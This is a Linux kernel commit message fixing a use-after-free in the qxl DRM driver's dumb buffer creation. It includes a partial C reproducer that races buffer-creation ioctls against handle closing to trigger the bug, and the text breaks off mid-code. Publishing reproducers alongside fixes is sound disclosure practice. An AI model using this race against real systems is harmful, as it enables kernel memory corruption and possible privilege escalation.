drm/qxl: fix UAF on handle creation

qxl_mode_dumb_create() dereferences the qobj returned by
qxl_gem_object_create_with_handle(), but the handle is the only one
holding a reference to it.

A potential attacker could guess the returned handle value and closes it
between the return of qxl_gem_object_create_with_handle() and the qobj
usage, triggering a use-after-free scenario.

Reproducer:

int dri_fd =-1;
struct drm_mode_create_dumb arg = {0};

void gem_close(int handle);

void* trigger(void* ptr)
{
	int ret;
	arg.width = arg.height = 0x20;
	arg.bpp = 32;
	ret = ioctl(dri_fd, DRM_IOCTL_MODE_CREATE_DUMB, &arg);
	if(ret)
	{
		perror("[*] DRM_IOCTL_MODE_CREATE_DUMB Failed");
		exit(-1);
	}
	gem_close(arg.handle);
	while(1) {
		struct drm_mode_create_dumb args = {0};
		args.width = args.height = 0x20;
		args.bpp = 32;
		ret = ioctl(dri_fd, DRM_IOCTL_MODE_CREATE_DUMB, &args);
		if (ret) {
			perror("[*] DRM_IOCTL_MODE_CREATE_DUMB Failed");
			exit(-1);
		}

		printf("[*] DRM_IOCTL_MODE_CREATE_DUMB created, %d\n...